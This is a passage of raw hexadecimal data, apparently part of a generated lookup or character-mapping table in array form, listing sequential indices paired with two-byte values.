0x0c, +0x00, 0x0E, 0x54, 0xc0, 0x0c, +0x00, 0x0E, 0x55, 0xc1, 0x0c, +0x00, 0x0E, 0x56, 0xc2, 0x0c, +0x00, 0x0E, 0x57, 0xc3, 0x0c, +0x00, 0x0E, 0x58, 0xeb, 0x03, +0x00, 0x0E, 0x59, 0xc4, 0x0c, +0x00, 0x0E, 0x5A, 0xc5, 0x0c, +0x00, 0x0E, 0x5B, 0xc6, 0x0c, +0x00, 0x0E, 0x5C, 0xb9, 0x00, +0x00, 0x0E, 0x5D, 0xc7, 0x0c, +0x00, 0x0E, 0x5E, 0xc8, 0x0c, +0x00, 0x0E, 0x5F, 0xc9, 0x0c, +0x00, 0x0E, 0x60, 0xca, 0x0c, +0x00, 0x0E, 0x61, 0xcb, 0x0c, +0x00, 0x0E, 0x62, 0x69, 0x01, +0x00, 0x0E, 0x63, 0xcc, 0x0c, +0x00, 0x0E, 0x64, 0xcd, 0x0c, +0x00, 0x0E, 0x65, 0xce, 0x0c, +0x00, 0x0E, 0x66, 0x76, 0x04, +0x00, 0x0E, 0x67, 0xcf, 0x0c, +0x00, 0x0E, 0x68, 0xd0, 0x0c, +0x00, 0x0E, 0x69, 0xd1, 0x0c, +0x00, 0x0E, 0x6A, 0xf2, 0x00, +0x00, 0x0E, 0x6B, 0xd2, 0x0c, +0x00, 0x0E, 0x6C, 0xd3, 0x0c, +0x00, 0x0E, 0x6D, 0xd4, 0x0c, +0x00, 0x0E, 0x6E, 0xd5, 0x0c, +0x00, 0x0E, 0x6F, 0xd6, 0x0c, +0x00, 0x0E, 0x70, 0xd7, 0x0c, +0x00, 0x0E, 0x71, 0xd8, 0x0c, +0x00, 0x0E, 0x72, 0xd9, 0x0c, +0x00, 0x0E, 0x73, 0xda, 0x0c, +0x00, 0x0E, 0x74, 0xdb, 0x0c, +0x00, 0x0E, 0x75, 0xdc, 0x0c, +0x00, 0x0E, 0x76, 0xdd, 0x0c, +0x00, 0x0E, 0x77, 0xde, 0x0c, +0x00, 0x0E, 0x78, 0xdf, 0x0c, +0x00, 0x0E, 0x79, 0xe0, 0x0c, +0x00, 0x0E, 0x7A, 0xe1, 0x0c, +0x00, 0x0E, 0x7B, 0x32, 0x00, +0x00, 0x0E, 0x7C, 0xe2, 0x0c, +0x00, 0x0E, 0x7D, 0x38, 0x05, +0x00, 0x0E, 0x7E, 0xe3, 0x0c, +0x00, 0x0E, 0x7F, 0xc9, 0x01, +0x00, 0x0E, 0x80, 0xbc, 0x0c, +0x00, 0x0E, 0x81, 0xe4, 0x0c, +0x00, 0x0E, 0x82, 0x96, 0x04, +0x00, 0x0E, 0x83, 0x05, 0x00, +0x00, 0x0E, 0x84, 0x05, 0x00, +0x00, 0x0E, 0x85, 0xe5, 0x0c, +0x00, 0x0E, 0x86, 0xe6, 0x0c, +0x00, 0x0E, 0x87, 0xe7, 0x0c, +0x00, 0x0E, 0x88, 0xe8, 0x0c, +0x00, 0x0E, 0x89, 0xe9, 0x0c, +0x00, 0x0E, 0x8A, 0xea, 0x0c, +0x00, 0x0E, 0x8B, 0xeb, 0x0c, +0x00, 0x0E, 0x8C, 0xec, 0x0c, +0x00, 0x0E, 0x8D, 0xed, 0x0c, +0x00, 0x0E, 0x8E, 0xee, 0x0c, +0x00, 0x0E, 0x8F, 0xef, 0x0c, +0x00, 0x0E, 0x90, 0xf0, 0x0c, +0x00, 0x0E, 0x91, 0xf1, 0x0c, +0x00, 0x0E, 0x92, 0xf2, 0x0c, +0x00, 0x0E, 0x93, 0xf3, 0x0c, +0x00, 0x0E, 0x94, 0xf4, 0x0c, +0x00, 0x0E, 0x95, 0xf5, 0x0c, +0x00, 0x0E, 0x96, 0xf6, 0x0c, +0x00, 0x0E, 0x97, 0xf7, 0x0c, +0x00, 0x0E, 0x98, 0xf8, 0x0c, +0x00, 0x0E, 0x99, 0x57, 0x02, +0x00, 0x0E, 0x9A, 0xf9, 0x0c, +0x00, 0x0E, 0x9B, 0x5e, 0x02, +0x00, 0x0E, 0x9C, 0x9e, 0x07, +0x00, 0x0E, 0x9D, 0xfa, 0x0c, +0x00, 0x0E, 0x9E, 0xfb, 0x0c, +0x00, 0x0E, 0x9F, 0xfc, 0x0c, +0x00, 0x0E, 0xA0, 0xfd, 0x0c, +0x00, 0x0E, 0xA1, 0xfe, 0x0c, +0x00, 0x0E, 0xA2, 0xff, 0x0c, +0x00, 0x0E, 0xA3, 0x00, 0x0d, +0x00, 0x0E, 0xA4, 0x01, 0x0d, +0x00, 0x0E, 0xA5, 0x02, 0x0d, +0x00, 0x0E, 0xA6, 0x20, 0x0b, +0x00, 0x0E, 0xA7, 0x03, 0x0d, +0x00, 0x0E, 0xA8, 0x04, 0x0d, +0x00, 0x0E, 0xA9, 0x0e, 0x03, +0x00, 0x0E, 0xAA, 0x05, 0x0d, +0x00, 0x0E, 0xAB, 0x06, 0x0d, +0x00, 0x0E, 0xAC, 0x07, 0x0d, +0x00, 0x0E, 0xAD, 0x08, 0x0d, +0x00, 0x0E, 0xAE, 0x09, 0x0d, +0x00, 0x0E, 0xAF, 0x0a, 0x0d, +0x00, 0x0E, 0xB0, 0x0b, 0x0d, +0x00, 0x0E, 0xB1, 0x0c, 0x0d, +0x00, 0x0E, 0xB2, 0x0d, 0x0d, +0x00, 0x0E, 0xB3, 0xc9, 0x01, +0x00, 0x0E, 0xB4, 0xd3, 0x06, +0x00, 0x0E, 0xB5, 0x0e, 0x0d, +0x00, 0x0E, 0xB6, 0x0f, 0x0d, +0x00, 0x0E, 0xB7, 0x10, 0x0d, +0x00, 0x0E, 0xB8, 0x11, 0x0d, +0x00, 0x0E, 0xB9, 0x12, 0x0d, +0x00, 0x0E, 0xBA, 0x13, 0x0d, +0x00, 0x0E, 0xBB, 0x14, 0x0d, +0x00, 0x0E, 0xBC, 0x15, 0x0d, +0x00, 0x0E, 0xBD, 0x16, 0x0d, +0x00, 0x0E, 0xBE, 0x17, 0x0d, +0x00, 0x0E, 0xBF, 0x18, 0x0d, +0x00, 0x0E, 0xC0, 0x69, 0x01, +0x00, 0x0E, 0xC1, 0x19, 0x0d, +0x00, 0x0E, 0xC2, 0x1a, 0x0d, +0x00, 0x0E, 0xC3, 0x1b, 0x0d, +0x00, 0x0E, 0xC4, 0x1c, 0x0d, +0x00, 0x0E, 0xC5, 0x64, 0x0a, +0x00, 0x0E, 0xC6, 0x1d, 0x0d, +0x00, 0x0E, 0xC7, 0x22, 0x09, +0x00, 0x0E, 0xC8, 0x1e, 0x0d, +0x00, 0x0E, 0xC9, 0x1f, 0x0d, +0x00, 0x0E, 0xCA, 0x20, 0x0d, +0x00, 0x0E, 0xCB, 0x21, 0x0d, +0x00, 0x0E, 0xCC, 0x22, 0x0d, +0x00, 0x0E, 0xCD, 0x23, 0x0d, +0x00, 0x0E, 0xCE, 0x24, 0x0d, +0x00, 0x0E, 0xCF, 0x25, 0x0d, +0x00, 0x0E, 0xD0, 0x26, 0x0d, +0x00, 0x0E, 0xD1, 0x27, 0x0d, +0x00, 0x0E, 0xD2, 0x28, 0x0d, +0x00, 0x0E, 0xD3, 0x29, 0x0d, +0x00, 0x0E, 0xD4, 0x2a, 0x0d, +0x00, 0x0E, 0xD5, 0x2b, 0x0d, +0x00, 0x0E, 0xD6, 0x05, 0x00, +0x00, 0x0E, 0xD7, 0x05, 0x00, +0x00, 0x0E, 0xD8, 0x7c, 0x0b, +0x00, 0x0E, 0xD9, 0x2c, 0x0d, +0x00, 0x0E, 0xDA, 0x2d, 0x0d, +0x00, 0x0E, 0xDB, 0x2e, 0x0d, +0x00, 0x0E, 0xDC, 0x2f, 0x0d, +0x00, 0x0E, 0xDD, 0x30, 0x0d, +0x00, 0x0E, 0xDE, 0x31, 0x0d, +0x00, 0x0E, 0xDF, 0x32, 0x0d, +0x00, 0x0E, 0xE0, 0x33, 0x0d, +0x00, 0x0E, 0xE1, 0x34, 0x0d, +0x00, 0x0E, 0xE2, 0x35, 0x0d, +0x00, 0x0E, 0xE3, 0x36, 0x0d, +0x00, 0x0E, 0xE4, 0xf9, 0x0c, +0x00, 0x0E, 0xE5, 0x37, 0x0d, +0x00, 0x0E, 0xE6, 0x38, 0x0d, +0x00, 0x0E, 0xE7, 0x39, 0x0d, +0x00, 0x0E, 0xE8, 0x3a, 0x0d, +0x00, 0x0E, 0xE9, 0x3b, 0x0d, +0x00, 0x0E, 0xEA, 0x3c, 0x0d, +0x00, 0x0E, 0xEB, 0x3d, 0x0d, +0x00, 0x0E, 0xEC, 0x3e, 0x0d, +0x00, 0x0E, 0xED, 0xb9, 0x02, +0x00, 0x0E, 0xEE, 0x3f, 0x0d, +0x00, 0x0E, 0xEF, 0x65, 0x00, +0x00, 0x0E, 0xF0, 0x40, 0x0d, +0x00, 0x0E, 0xF1, 0x41, 0x0d, +0x00, 0x0E, 0xF2, 0xde, 0x05, +0x00, 0x0E, 0xF3, 0x42, 0x0d, +0x00, 0x0E, 0xF4, 0x43, 0x0d, +0x00, 0x0E, 0xF5, 0x44, 0x0d, +0x00, 0x0E, 0xF6, 0x45, 0x0d, +0x00, 0x0E, 0xF7, 0x46, 0x0d, +0x00, 0x0E, 0xF8, 0x47, 0x0d, +0x00, 0x0E, 0xF9, 0x48, 0x0d, +0x00, 0x0E, 0xFA, 0x49, 0x0d, +0x00, 0x0E, 0xFB, 0x4a, 0x0d, +0x00, 0x0E, 0xFC, 0x4b, 0x0d, +0x00, 0x0E, 0xFD, 0x4c, 0x0d, +0x00, 0x0E, 0xFE, 0x4d, 0x0d, +0x00, 0x0E, 0xFF, 0x4e, 0x0d, +0x00, 0x0F, 0x00, 0x4f, 0x0d, +0x00, 0x0F, 0x01, 0x50, 0x0d, +0x00, 0x0F, 0x02, 0x51, 0x0d, +0x00, 0x0F, 0x03, 0x52, 0x0d, +0x00, 0x0F, 0x04, 0x53, 0x0d, +0x00, 0x0F, 0x05, 0x54, 0x0d, +0x00, 0x0F, 0x06, 0x69, 0x01, +0x00, 0x0F, 0x07, 0x55, 0x0d, +0x00, 0x0F, 0x08, 0x56, 0x0d, +0x00, 0x0F, 0x09, 0x65, 0x00, +0x00, 0x0F, 0x0A, 0x57, 0x0d, +0x00, 0x0F, 0x0B, 0x58, 0x0d, +0x00, 0x0F, 0x0C, 0xe4, 0x04, +0x00, 0x0F, 0x0D, 0x59, 0x0d, +0x00, 0x0F, 0x0E, 0x5a, 0x0d, +0x00, 0x0F, 0x0F, 0x5b, 0x0d, +0x00, 0x0F, 0x10, 0x5c, 0x0d, +0x00, 0x0F, 0x11, 0x5d, 0x0d, +0x00, 0x0F, 0x12, 0x5e, 0x0d, +0x00, 0x0F, 0x13, 0x5f, 0x0d, +0x00, 0x0F, 0x14, 0x60, 0x0d, +0x00, 0x0F, 0x15, 0x61, 0x0d, +0x00, 0x0F, 0x16, 0x62, 0x0d, +0x00, 0x0F, 0x17, 0x63, 0x0d, +0x00, 0x0F, 0x18, 0xf6, 0x09, +0x00, 0x0F, 0x19, 0x64, 0x0d, +0x00, 0x0F, 0x1A, 0x65, 0x0d, +0x00, 0x0F, 0x1B, 0x66, 0x0d, +0x00, 0x0F, 0x1C, 0x67, 0x0d, +0x00, 0x0F, 0x1D, 0x68, 0x0d, +0x00, 0x0F, 0x1E, 0x69, 0x0d, +0x00, 0x0F, 0x1F, 0xd1, 0x05, +0x00, 0x0F, 0x20, 0xc9, 0x01, +0x00, 0x0F, 0x21, 0x8c, 0x01, +0x00, 0x0F, 0x22, 0x6a, 0x0d, +0x00, 0x0F, 0x23, 0x05, 0x00, +0x00, 0x0F, 0x24, 0x05, 0x00, +0x00, 0x0F, 0x25, 0x6b, 0x0d, +0x00, 0x0F, 0x26, 0x6c, 0x0d, +0x00, 0x0F, 0x27, 0x6d, 0x0d, +0x00, 0x0F, 0x28, 0x6e, 0x0d, +0x00, 0x0F, 0x29, 0x6f, 0x0d, +0x00, 0x0F, 0x2A, 0x70, 0x0d, +0x00, 0x0F, 0x2B, 0x71, 0x0d, +0x00, 0x0F, 0x2C, 0x72, 0x0d, +0x00, 0x0F, 0x2D, 0x73, 0x0d, +0x00, 0x0F, 0x2E, 0x74, 0x0d, +0x00, 0x0F, 0x2F, 0x75, 0x0d, +0x00, 0x0F, 0x30, 0x76, 0x0d, +0x00, 0x0F, 0x31, 0x3d, 0x09, +0x00, 0x0F, 0x32, 0x77, 0x0d, +0x00, 0x0F, 0x33, 0x78, 0x0d, +0x00, 0x0F, 0x34, 0x05, 0x00, +0x00, 0x0F, 0x35, 0x05, 0x00, +0x00, 0x0F, 0x36, 0x79, 0x0d, +0x00, 0x0F, 0x37, 0x7a, 0x0d, +0x00, 0x0F, 0x38, 0x7b, 0x0d, +0x00, 0x0F, 0x39, 0x7c, 0x0d, +0x00, 0x0F, 0x3A, 0x7d, 0x0d, +0x00, 0x0F, 0x3B, 0x7e, 0x0d, +0x00, 0x0F, 0x3C, 0x7f, 0x0d, +0x00, 0x0F, 0x3D, 0xe8, 0x04, +0x00, 0x0F, 0x3E, 0x80, 0x0d, +0x00, 0x0F, 0x3F, 0x81, 0x0d, +0x00, 0x0F, 0x40, 0x82, 0x0d, +0x00, 0x0F, 0x41, 0x83, 0x0d, +0x00, 0x0F, 0x42, 0x84, 0x0d, +0x00, 0x0F, 0x43, 0x85, 0x0d, +0x00, 0x0F, 0x44, 0x86, 0x0d, +0x00, 0x0F, 0x45, 0x87, 0x0d, +0x00, 0x0F, 0x46, 0x88, 0x0d, +0x00, 0x0F, 0x47, 0x89, 0x0d, +0x00, 0x0F, 0x48, 0x8a, 0x0d, +0x00, 0x0F, 0x49, 0x8b, 0x0d, +0x00, 0x0F, 0x4A, 0x8c, 0x0d, +0x00, 0x0F, 0x4B, 0x10, 0x00, +0x00, 0x0F, 0x4C, 0x8d, 0x0d, +0x00, 0x0F, 0x4D, 0x8e, 0x0d, +0x00, 0x0F, 0x4E, 0x8f, 0x0d, +0x00, 0x0F, 0x4F, 0x90, 0x0d, +0x00, 0x0F, 0x50, 0x91, 0x0d, +0x00, 0x0F, 0x51, 0x92, 0x0d, +0x00, 0x0F, 0x52, 0x93, 0x0d, +0x00, 0x0F, 0x53, 0x5a, 0x09, +0x00, 0x0F, 0x54, 0x94, 0x0d, +0x00, 0x0F, 0x55, 0x95, 0x0d, +0x00, 0x0F, 0x56, 0x96, 0x0d, +0x00, 0x0F, 0x57, 0x97, 0x0d, +0x00, 0x0F, 0x58, 0x98, 0x0d, +0x00, 0x0F, 0x59, 0x99, 0x0d, +0x00, 0x0F, 0x5A, 0x9a, 0x0d, +0x00, 0x0F, 0x5B, 0x9b, 0x0d, +0x00, 0x0F, 0x5C, 0x9c, 0x0d, +0x00, 0x0F, 0x5D, 0x9d, 0x0d, +0x00, 0x0F, 0x5E, 0x9e, 0x0d, +0x00, 0x0F, 0x5F, 0x9f, 0x0d, +0x00, 0x0F, 0x60, 0xa0, 0x0d, +0x00, 0x0F, 0x61, 0xc9, 0x01, +0x00, 0x0F, 0x62, 0xa1, 0x0d, +0x00, 0x0F, 0x63, 0xa2, 0x0d, +0x00, 0x0F, 0x64, 0xa3, 0x0d, +0x00, 0x0F, 0x65, 0xa4, 0x0d, +0x00, 0x0F, 0x66, 0xf9, 0x0a, +0x00, 0x0F, 0x67, 0xa5, 0x0d, +0x00, 0x0F, 0x68, 0xa6, 0x0d, +0x00, 0x0F, 0x69, 0xa7, 0x0d, +0x00, 0x0F, 0x6A, 0x69, 0x01, +0x00, 0x0F, 0x6B, 0xa8, 0x0d, +0x00, 0x0F, 0x6C, 0xa9, 0x0d, +0x00, 0x0F, 0x6D, 0xaa, 0x0d, +0x00, 0x0F, 0x6E, 0xab, 0x0d, +0x00, 0x0F, 0x6F, 0xac, 0x0d, +0x00, 0x0F, 0x70, 0xad, 0x0d, +0x00, 0x0F, 0x71, 0xae, 0x0d, +0x00, 0x0F, 0x72, 0xaf, 0x0d, +0x00, 0x0F, 0x73, 0xb0, 0x0d, +0x00, 0x0F, 0x74, 0xb1, 0x0d, +0x00, 0x0F, 0x75, 0xb2, 0x0d, +0x00, 0x0F, 0x76, 0xb3, 0x0d, +0x00, 0x0F, 0x77, 0xb4, 0x0d, +0x00, 0x0F, 0x78, 0xb5, 0x0d, +0x00, 0x0F, 0x79, 0xb6, 0x0d, +0x00, 0x0F, 0x7A, 0xb1, 0x0c, +0x00, 0x0F, 0x7B, 0xb7, 0x0d, +0x00, 0x0F, 0x7C, 0xb8, 0x0d, +0x00, 0x0F, 0x7D, 0xb9, 0x0d, +0x00, 0x0F, 0x7E, 0xba, 0x0d, +0x00, 0x0F, 0x7F, 0xbb, 0x0d, +0x00, 0x0F, 0x80, 0xbc, 0x0d, +0x00, 0x0F, 0x81, 0xbd, 0x0d, +0x00, 0x0F, 0x82, 0xbe, 0x0d, +0x00, 0x0F, 0x83, 0xbf, 0x0d, +0x00, 0x0F, 0x84, 0xc0, 0x0d, +0x00, 0x0F, 0x85, 0xc1, 0x0d, +0x00, 0x0F, 0x86, 0xc2, 0x0d, +0x00, 0x0F, 0x87, 0xc3, 0x0d, +0x00, 0x0F, 0x88, 0xc4, 0x0d, +0x00, 0x0F, 0x89, 0xc5, 0x0d, +0x00, 0x0F, 0x8A, 0xc6, 0x0d, +0x00, 0x0F, 0x8B, 0xc7, 0x0d, +0x00, 0x0F, 0x8C, 0xc8, 0x0d, +0x00, 0x0F, 0x8D, 0xc9, 0x0d, +0x00, 0x0F, 0x8E, 0x50, 0x06, +0x00, 0x0F, 0x8F, 0x05, 0x00, +0x00, 0x0F, 0x90, 0x05, 0x00, +0x00, 0x0F, 0x91, 0xca, 0x0d, +0x00, 0x0F, 0x92, 0xcb, 0x0d, +0x00, 0x0F, 0x93, 0xcc, 0x0d, +0x00, 0x0F, 0x94, 0x9d, 0x0d, +0x00, 0x0F, 0x95, 0xcd, 0x0d, +0x00, 0x0F, 0x96, 0x18, 0x00, +0x00, 0x0F, 0x97, 0xce, 0x0d, +0x00, 0x0F, 0x98, 0xcf, 0x0d, +0x00, 0x0F, 0x99, 0xd0, 0x0d, +0x00, 0x0F, 0x9A, 0xe4, 0x04, +0x00, 0x0F, 0x9B, 0xd1, 0x0d, +0x00, 0x0F, 0x9C, 0xd2, 0x0d, +0x00, 0x0F, 0x9D, 0xd3, 0x0d, +0x00, 0x0F, 0x9E, 0xd4, 0x0d, +0x00, 0x0F, 0x9F, 0xb9, 0x00, +0x00, 0x0F, 0xA0, 0xd5, 0x0d, +0x00, 0x0F, 0xA1, 0xd6, 0x0d, +0x00, 0x0F, 0xA2, 0xd7, 0x0d, +0x00, 0x0F, 0xA3, 0xd8, 0x0d, +0x00, 0x0F, 0xA4, 0xd9, 0x0d, +0x00, 0x0F, 0xA5, 0xda, 0x0d, +0x00, 0x0F, 0xA6, 0xdb, 0x0d, +0x00, 0x0F, 0xA7, 0xdc, 0x0d, +0x00, 0x0F, 0xA8, 0xdd, 0x0d, +0x00, 0x0F, 0xA9, 0xde, 0x0d, +0x00, 0x0F, 0xAA, 0xdf, 0x0d, +0x00, 0x0F, 0xAB, 0xe0, 0x0d, +0x00, 0x0F, 0xAC, 0xe1, 0x0d, +0x00, 0x0F, 0xAD, 0xe2, 0x0d, +0x00, 0x0F, 0xAE, 0xe3, 0x0d, +0x00, 0x0F, 0xAF, 0xe4, 0x0d, +0x00, 0x0F, 0xB0, 0x1c, 0x02, +0x00, 0x0F, 0xB1, 0xe5, 0x0d, +0x00, 0x0F, 0xB2, 0xe6, 0x0d, +0x00, 0x0F, 0xB3, 0xe7, 0x0d, +0x00, 0x0F, 0xB4, 0xe8, 0x0d, +0x00, 0x0F, 0xB5, 0x68, 0x08, +0x00, 0x0F, 0xB6, 0xe9, 0x0d, +0x00, 0x0F, 0xB7, 0xea, 0x0d, +0x00, 0x0F, 0xB8, 0xeb, 0x0d, +0x00, 0x0F, 0xB9, 0x86, 0x0c, +0x00, 0x0F, 0xBA, 0xec, 0x0d, +0x00, 0x0F, 0xBB, 0xed, 0x0d, +0x00, 0x0F, 0xBC, 0xee, 0x0d, +0x00, 0x0F, 0xBD, 0xef, 0x0d, +0x00, 0x0F, 0xBE, 0xf0, 0x0d, +0x00, 0x0F, 0xBF, 0xf1, 0x0d, +0x00, 0x0F, 0xC0, 0xf2, 0x0d, +0x00, 0x0F, 0xC1, 0xf3, 0x0d, +0x00, 0x0F, 0xC2, 0xf4, 0x0d, +0x00, 0x0F, 0xC3, 0xf5, 0x0d, +0x00, 0x0F, 0xC4, 0xf6, 0x0d, +0x00, 0x0F, 0xC5, 0xf7, 0x0d, +0x00, 0x0F, 0xC6, 0xf8, 0x0d, +0x00, 0x0F, 0xC7, 0xf9, 0x0d, +0x00, 0x0F, 0xC8, 0xfa, 0x0d, +0x00, 0x0F, 0xC9, 0xfb, 0x0d, +0x00, 0x0F, 0xCA, 0xfc, 0x0d, +0x00, 0x0F, 0xCB, 0xf2, 0x00, +0x00, 0x0F, 0xCC, 0xb9, 0x00, +0x00, 0x0F, 0xCD, 0x69, 0x01, +0x00, 0x0F, 0xCE, 0xfd, 0x0d, +0x00, 0x0F, 0xCF, 0xfe, 0x0d, +0x00, 0x0F, 0xD0, 0xff, 0x0d, +0x00, 0x0F, 0xD1, 0x00, 0x0e, +0x00, 0x0F, 0xD2, 0x01, 0x0e, +0x00, 0x0F, 0xD3, 0x02, 0x0e, +0x00, 0x0F, 0xD4, 0x03, 0x0e, +0x00, 0x0F, 0xD5, 0x04, 0x0e, +0x00, 0x0F, 0xD6, 0x05, 0x0e, +0x00, 0x0F, 0xD7, 0x06, 0x0e, +0x00, 0x0F, 0xD8, 0x07, 0x0e, +0x00, 0x0F, 0xD9, 0x08, 0x0e, +0x00, 0x0F, 0xDA, 0x09, 0x0e, +0x00, 0x0F, 0xDB, 0x0a, 0x0e, +0x00, 0x0F, 0xDC, 0x0b, 0x0e, +0x00, 0x0F, 0xDD, 0x0c, 0x0e, +0x00, 0x0F, 0xDE, 0xbe, 0x09, +0x00, 0x0F, 0xDF, 0x0d, 0x0e, +0x00, 0x0F, 0xE0, 0x0e, 0x0e, +0x00, 0x0F, 0xE1, 0x0f, 0x0e, +0x00, 0x0F, 0xE2, 0x10, 0x0e, +0x00, 0x0F, 0xE3, 0x11, 0x0e, +0x00, 0x0F, 0xE4, 0x12, 0x0e, +0x00, 0x0F, 0xE5, 0x13, 0x0e, +0x00, 0x0F, 0xE6, 0x14, 0x0e, +0x00, 0x0F, 0xE7, 0x15, 0x0e, +0x00, 0x0F, 0xE8, 0x16, 0x0e, +0x00, 0x0F, 0xE9, 0x17, 0x0e, +0x00, 0x0F, 0xEA, 0xf4, 0x0b, +0x00, 0x0F, 0xEB, 0x18, 0x0e, +0x00, 0x0F, 0xEC, 0x19, 0x0e, +0x00, 0x0F, 0xED, 0x1a, 0x0e, +0x00, 0x0F, 0xEE, 0x1b, 0x0e, +0x00, 0x0F, 0xEF, 0x1c, 0x0e, +0x00, 0x0F, 0xF0, 0x1d, 0x0e, +0x00, 0x0F, 0xF1, 0x1e, 0x0e, +0x00, 0x0F, 0xF2, 0x1f, 0x0e, +0x00, 0x0F, 0xF3, 0x20, 0x0e, +0x00, 0x0F, 0xF4, 0x21, 0x0e, +0x00, 0x0F, 0xF5, 0x22, 0x0e, +0x00, 0x0F, 0xF6, 0x23, 0x0e, +0x00, 0x0F, 0xF7, 0x05, 0x00, +0x00, 0x0F, 0xF8, 0x05, 0x00, +0x00, 0x0F, 0xF9, 0x24, 0x0e, +0x00, 0x0F, 0xFA, 0x25, 0x0e, +0x00, 0x0F, 0xFB, 0x86, 0x03, +0x00, 0x0F, 0xFC, 0x26, 0x0e, +0x00, 0x0F, 0xFD, 0x27, 0x0e, +0x00, 0x0F, 0xFE, 0x28, 0x0e, +0x00, 0x0F, 0xFF, 0x29, 0x0e, +0x00, 0x10, 0x00, 0x2a, 0x0e, +0x00, 0x10, 0x01, 0x2b, 0x0e, +0x00, 0x10, 0x02, 0x2c, 0x0e, +0x00, 0x10, 0x03, 0x2d, 0x0e, +0x00, 0x10, 0x04, 0x2e, 0x0e, +0x00, 0x10, 0x05, 0x2f, 0x0e, +0x00, 0x10, 0x06, 0x30, 0x0e, +0x00, 0x10, 0x07, 0x31, 0x0e, +0x00, 0x10, 0x08, 0x32, 0x0e, +0x00, 0x10, 0x09, 0x33, 0x0e, +0x00, 0x10, 0x0A, 0x34, 0x0e, +0x00, 0x10, 0x0B, 0x05, 0x00, +0x00, 0x10, 0x0C, 0x35, 0x0e, +0x00, 0x10, 0x0D, 0x31, 0x0e, +0x00, 0x10, 0x0E, 0x36, 0x0e, +0x00, 0x10, 0x0F, 0xf6, 0x09, +0x00, 0x10, 0x10, 0x37, 0x0e, +0x00, 0x10, 0x11, 0x31, 0x0e, +0x00, 0x10, 0x12, 0x38, 0x0e, +0x00, 0x10, 0x13, 0x39, 0x0e, +0x00, 0x10, 0x14, 0x05, 0x00, +0x00, 0x10, 0x15, 0x3a, 0x0e, +0x00, 0x10, 0x16, 0x3b, 0x0e, +0x00, 0x10, 0x17, 0x3c, 0x0e, +0x00, 0x10, 0x18, 0x35, 0x05, +0x00, 0x10, 0x19, 0x3d, 0x0e, +0x00, 0x10, 0x1A, 0x3e, 0x0e, +0x00, 0x10, 0x1B, 0xeb, 0x02, +0x00, 0x10, 0x1C, 0x3f, 0x0e, +0x00, 0x10, 0x1D, 0x40, 0x0e, +0x00, 0x10, 0x1E, 0xdd, 0x00, +0x00, 0x10, 0x1F, 0x31, 0x0e, +0x00, 0x10, 0x20, 0x41, 0x0e, +0x00, 0x10, 0x21, 0x42, 0x0e, +0x00, 0x10, 0x22, 0x43, 0x0e, +0x00, 0x10, 0x23, 0xfb, 0x01, +0x00, 0x10, 0x24, 0x44, 0x0e, +0x00, 0x10, 0x25, 0x45, 0x0e, +0x00, 0x10, 0x26, 0x46, 0x0e, +0x00, 0x10, 0x27, 0x70, 0x02, +0x00, 0x10, 0x28, 0x63, 0x00, +0x00, 0x10, 0x29, 0x31, 0x0e, +0x00, 0x10, 0x2A, 0x47, 0x0e, +0x00, 0x10, 0x2B, 0x48, 0x0e, +0x00, 0x10, 0x2C, 0x49, 0x0e, +0x00, 0x10, 0x2D, 0x0f, 0x08, +0x00, 0x10, 0x2E, 0x31, 0x0b, +0x00, 0x10, 0x2F, 0x31, 0x0e, +0x00, 0x10, 0x30, 0x4a, 0x0e, +0x00, 0x10, 0x31, 0x4b, 0x0e, +0x00, 0x10, 0x32, 0x4c, 0x0e, +0x00, 0x10, 0x33, 0x4d, 0x0e, +0x00, 0x10, 0x34, 0x4e, 0x0e, +0x00, 0x10, 0x35, 0xee, 0x06, +0x00, 0x10, 0x36, 0x4f, 0x0e, +0x00, 0x10, 0x37, 0x50, 0x0e, +0x00, 0x10, 0x38, 0x51, 0x0e, +0x00, 0x10, 0x39, 0x52, 0x0e, +0x00, 0x10, 0x3A, 0x53, 0x0e, +0x00, 0x10, 0x3B, 0x54, 0x0e, +0x00, 0x10, 0x3C, 0x55, 0x0e, +0x00, 0x10, 0x3D, 0x56, 0x0e, +0x00, 0x10, 0x3E, 0x57, 0x0e, +0x00, 0x10, 0x3F, 0x58, 0x0e, +0x00, 0x10, 0x40, 0x59, 0x0e, +0x00, 0x10, 0x41, 0x5a, 0x0e, +0x00, 0x10, 0x42, 0x5b, 0x0e, +0x00, 0x10, 0x43, 0x5c, 0x0e, +0x00, 0x10, 0x44, 0x5d, 0x0e, +0x00, 0x10, 0x45, 0x69, 0x01, +0x00, 0x10, 0x46, 0x5e, 0x0e, +0x00, 0x10, 0x47, 0x5f, 0x0e, +0x00, 0x10, 0x48, 0x60, 0x0e, +0x00, 0x10, 0x49, 0x61, 0x0e, +0x00, 0x10, 0x4A, 0x62, 0x0e, +0x00, 0x10, 0x4B, 0x63, 0x0e, +0x00, 0x10, 0x4C, 0xfc, 0x00, +0x00, 0x10, 0x4D, 0x64, 0x0e, +0x00, 0x10, 0x4E, 0x65, 0x0e, +0x00, 0x10, 0x4F, 0x10, 0x00, +0x00, 0x10, 0x50, 0x66, 0x0e, +0x00, 0x10, 0x51, 0x67, 0x0e, +0x00, 0x10, 0x52, 0x68, 0x0e, +0x00, 0x10, 0x53, 0x63, 0x00, +0x00, 0x10, 0x54, 0x05, 0x00, +0x00, 0x10, 0x55, 0x69, 0x0e, +0x00, 0x10, 0x56, 0x6a, 0x0e, +0x00, 0x10, 0x57, 0x6b, 0x0e, +0x00, 0x10, 0x58, 0x6c, 0x0e, +0x00, 0x10, 0x59, 0x6d, 0x0e, +0x00, 0x10, 0x5A, 0x6e, 0x0e, +0x00, 0x10, 0x5B, 0x6f, 0x0e, +0x00, 0x10, 0x5C, 0x03, 0x07, +0x00, 0x10, 0x5D, 0x70, 0x0e, +0x00, 0x10, 0x5E, 0x71, 0x0e, +0x00, 0x10, 0x5F, 0x72, 0x0e, +0x00, 0x10, 0x60, 0x73, 0x0e, +0x00, 0x10, 0x61, 0x74, 0x0e, +0x00, 0x10, 0x62, 0x75, 0x0e, +0x00, 0x10, 0x63, 0x76, 0x0e, +0x00, 0x10, 0x64, 0x77, 0x0e, +0x00, 0x10, 0x65, 0x78, 0x0e, +0x00, 0x10, 0x66, 0xf7, 0x01, +0x00, 0x10, 0x67, 0xce, 0x01, +0x00, 0x10, 0x68, 0x79, 0x0e, +0x00, 0x10, 0x69, 0x7a, 0x0e, +0x00, 0x10, 0x6A, 0x64, 0x0a, +0x00, 0x10, 0x6B, 0x7b, 0x0e, +0x00, 0x10, 0x6C, 0x7c, 0x0e, +0x00, 0x10, 0x6D, 0x7d, 0x0e, +0x00, 0x10, 0x6E, 0x7e, 0x0e, +0x00, 0x10, 0x6F, 0x7f, 